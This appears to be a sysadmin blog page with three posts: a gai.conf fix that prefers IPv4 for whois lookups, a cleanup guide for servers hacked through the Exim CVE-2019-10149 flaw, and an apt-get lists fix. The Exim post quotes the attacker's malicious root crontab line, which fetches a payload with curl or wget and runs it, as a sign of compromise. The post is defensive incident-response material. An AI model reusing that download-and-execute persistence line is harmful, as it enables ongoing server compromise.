Prefer/Precedence IPv4 over IPv6 for DNS lookups

We had an issue with DNS lookup/Querying the whois servers(Example: whois.crsnic.net) while Domain Search/Registration for any TLDs through WHMCS, Domain Manager etc. The tool/system used to timeout whenever the users searched a domain for availability.

We found the following via CLI when telnet’ing to the whois server directly.

[root@host ~]# telnet whois.crsnic.net 43
Trying 2620:74:20::30...
telnet: connect to address 2620:74:20::30: Connection refused
Trying 2620:74:21::30...
telnet: connect to address 2620:74:21::30: Connection refused
Trying 192.34.234.30...
Connected to whois.crsnic.net.
Escape character is '^]'.

The above indicates it attempts IPv6 DNS lookup first but the whois server doesn’t support or provide it, later our server tries IPv4 DNS lookup and it worked.

The system by default uses AAAA(IPv6) DNS lookups before IPv4 according to the default precedence blocks in /etc/gai.conf (gai stands for getaddrinfo, the standard system call for resolving host names).

As many prefer to disable IPv6 completely and it is not a good solution on the servers which require IPv6 for other purposes, we can try an alternative solution by giving precedence to IPv4 over IPv6 without disabling IPv6.

This is done by changing “precedence ::ffff:0:0/96 10" toprecedence ::ffff:0:0/96 100" in the config file /etc/gai.conf. Check whole /etc/gai.conf to read and understand.

[root@host ~]# grep "::ffff:0:0/96" /etc/gai.conf
#label ::ffff:0:0/96 4
#precedence ::ffff:0:0/96  10
precedence ::ffff:0:0/96  100

If you do not have a /etc/gai.conf(which controls the getaddrinfo() call), you should have an example somewhere within /usr/share/doc (on Centos/RHEL, it is at /usr/share/doc/glibc-common-X.XX.XX/gai.conf) which you can copy over to /etc/gai.conf.

Mine was at:

[root@host ~]# rpm -qa glibc*
glibc-common-2.17-260.el7_6.6.x86_64
glibc-2.17-260.el7_6.6.x86_64
glibc-headers-2.17-260.el7_6.6.x86_64
glibc-devel-2.17-260.el7_6.6.x86_64

[root@host ~]# ll /usr/share/doc/glibc-common-2.17/gai.conf
-rw-r--r--. 1 root root 2584 Jul  3 15:25 /usr/share/doc/glibc-common-2.17/gai.conf

[root@host ~]# cp -pv /usr/share/doc/glibc-common-2.17/gai.conf /etc/
‘/usr/share/doc/glibc-common-2.17/gai.conf’ -> ‘/etc/gai.conf’

Then it started working fine by giving preference to IPv4 over IPv6.

[root@host ~]# telnet whois.crsnic.net 43
Trying 192.34.234.30...
Connected to whois.crsnic.net.
Escape character is '^]'.
Connection closed by foreign host.

How to clean up a hacked server from the Exim vulnerability CVE-2019-10149 | Temporary workaround | cPanel

The recently reported Exim 4.87 to 4.91 versions vulnerability CVE-2019-10149 is of very intense. Many host servers have already been hacked by now. For the host which is clean by the Gods grace and are still running on the vulnerable Exim and outdated cPanel versions, it is highly recommended to upgrade the cPanel to get Exim patched in the new version 4.92 immediately.

The solution to avoid such a hack issue to upgrade the cPanel to the latest one.

https://documentation.cpanel.net/display/CKB/CVE-2019-10149+Exim

https://access.redhat.com/security/cve/cve-2019-10149

As you have a solution already in place int he above URLs for the clean servers to patch Exim and to avoid the hack issue, I made this document for the unfortunate people whose servers are already root hacked from the Exim vulnerability reported.

Do the following steps to perform a temporary workaround to cleanup compromised server and get atleast its services UP for your customers. But this is not a permanent solution, once you made the following cleanup, make sure to setup a clean server with the same specification and services configuration and also with the latest cPanel and Exim. Then migrate the user accounts from the hacked and cleaned up server to the new server.

An important thing to note is, DO NOT SSH FROM THE HACKED SERVER TO THE NEW DESTINATION SERVER AT ANY CASE WHICH WILL PROBABLY LET THE NEW SERVER ALSO GET INFECTED. kindly avoid that and do always connect from the new server to the hacked source server using the WHM transfer tool.

Signs of the hacked server from this Exim vulnerability CVE-2019-10149:

# crontab -l
*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://URL/src/ldm -o /root/.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://URL/src/ldm -o /root/.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://URL/src/ldm -o /root/.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://URL/src/ldm -O /root/.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://URL/src/ldm -O /root/.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://URL/src/ldm -O /root/.cache/.ntp) && chmod +x /root/.cache/.ntp && /bin/sh /root/.cache/.ntp

File: /usr/bin/[kthrotlds] [ Not normally found on clean servers ]
Size: 1738544 (1697.796875) [ - Most system files/libraries are less than 25k. Anything larger should be considered suspicious. ]
Changed: Tue Jun 11 19:36:58 2019 [ Approximate date the compromise may have occurred ]
RPM Owned: No - Most system files should be owned by an RPM
sha256sum: c3f26f38cb75cf779eed36a4e7ac32cacd4ae89bdf7dae2a4c4db1afe652d3f0

# crontab -e
crontab: installing new crontab
crontab: error renaming /var/spool/cron/#tmp.XXXXuRviCS to /var/spool/cron/root
rename: Operation not permitted
crontab: edits left in /tmp/crontab.6k7Xnz

# crontab -e
lstat: No such file or directory

# lsattr /var/spool/cron/root
----i--------e-- /var/spool/cron/root

# exim -bV
Exim version 4.91 #1 built 07-Mar-2019 22:58:08
Copyright (c) University of Cambridge, 1995 - 2018

Here are the steps to clean up the hacked server from the Exim vulnerability CVE-2019-10149:

# service exim stop;chkconfig exim off (::stop exim service fully)
# yum remove exim -y (::remove it if keeps coming back online)
# service crond stop
# service cron stop
# killall -9 kthrotlds
# killall -9 curl wget sh
# yum -y reinstall curl
# exim -bp | exiqgrep -i | xargs exim -Mrm
# rm -fv /root/.cache/.ntp
# chattr -V -ie /etc/cron.d/root
# > /etc/cron.d/root
# chattr -V -ie /var/spool/cron/root
# > /var/spool/cron/root
# chattr -V -ie   /etc/cron.daily/cronlog /etc/cron.d/root  /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/\[kthrotlds\] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp >/dev/null 2>&1
# chattr -V -ie /etc/rc.local;chattr -V -ie /root/.ssh/authorized_keys
# sed -i -e '/bin\/npt/d' /etc/rc.local >/dev/null 2>&1
# sed -i -e '/user@localhost/d' /root/.ssh/authorized_keys >/dev/null 2>&1 (:or remove any unsual keys you found there)
# service crond start >/dev/null 2>&1
# service cron start >/dev/null 2>&1

Make sure the hack is not coming. If it is, repeat the above steps once again immediately as things are already in the server memory. Else a better way to create a bash script say hackclean.sh and copy the above required commands in sequence to execute immediately.

Once done

# reboot

Once the server is back online.

Check if the above hack files are still present. If not upgrade the cPanel which will also install the latest patched Exim on the server.

# /scripts/upcp --force 

Follow this thread better:

The result should be as follows:

# cat /usr/local/cpanel/version;rpm -qa exim
11.80.0.14
exim-4.92-1.cp1180.x86_64

Later if you see Email delivery issues like as follows:

201X-0X-XX 10:28:26 H=mail-XXX-XXXcom [IP.x.x.x]:36085 I=[IP.x.x.x]:25 X=TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128 CV=no F=<user@domain1.com> rejected RCPT <user@domain2.com>: Rejected relay attempt: 'IP.x.x.x' From: 'user@domain1.com' To: 'user@domain2.com'
201X-0X-XX 10:28:27 H=mail-XXX-XXXcom [IP.x.x.x]:36085 I=[IP.x.x.x]:25 Warning: "Detected session with all messages failed"
201X-0X-XX 10:28:27 H=mail-XXX-XXXcom [IP.x.x.x]:36085 I=[IP.x.x.x]:25 Warning: "Increment slow_fail_block Ratelimit - mail-XXX-XXXcom [IP.x.x.x]:36085 because of all messages failed"

This is probably happening due to the missing contents in the files /etc/localdomains and /etc/remotedomains. Populate contents in it by running the following cPanel script.

# /scripts/checkalldomainsmxs --yes

Restart exim if required.

Please realize the fact that the above steps are not a permanent solution but a temporary workaround to keep things online and to migrate the accounts to a clean server and reinstall the hacked server.

Error while installing any package using apt-get

I was getting the following error while I tried to install any package using apt-get package manager.

For example:

Error

# apt-get install wget
Reading package lists... Error!
E: Encountered a section with no Package: header
E: Problem with MergeList /var/lib/apt/lists/extra.linuxmint.com_dists_rafaela_main_i18n_Translation-en
E: The package lists or status file could not be parsed or opened.

Fix

# rm -vf /var/lib/apt/lists/*

Then do,

# apt-get update

Finally, I was able to install packages using apt-get

# apt-get install wget
Reading package lists... Done
Building dependency tree Reading state information... Done
wget is already the newest version.The following packages were automatically installed and are no longer required:
empathy-common libfarstream-0.2-2 libfolks-telepathy25 libfolks25libgssglue1 libtelepathy-farstream3 libtelepathy-logger3 libtirpc1python-gst0.10 telepathy-logger
Use 'apt-get autoremove' to remove them.0 upgraded, 0 newly installed, 0 to remove and 273 not upgraded.2 not fully installed or removed.
After this operation, 0 B of additional disk space will be used.
Do you want to continue? [Y/n] y
Setting up chromium-codecs-ffmpeg-extra (45.0.2454.101-0ubuntu0.14.04.1.1099) ...Setting up chromium-browser (45.0.2454.101-0ubuntu0.14.04.1.1099) ...Done...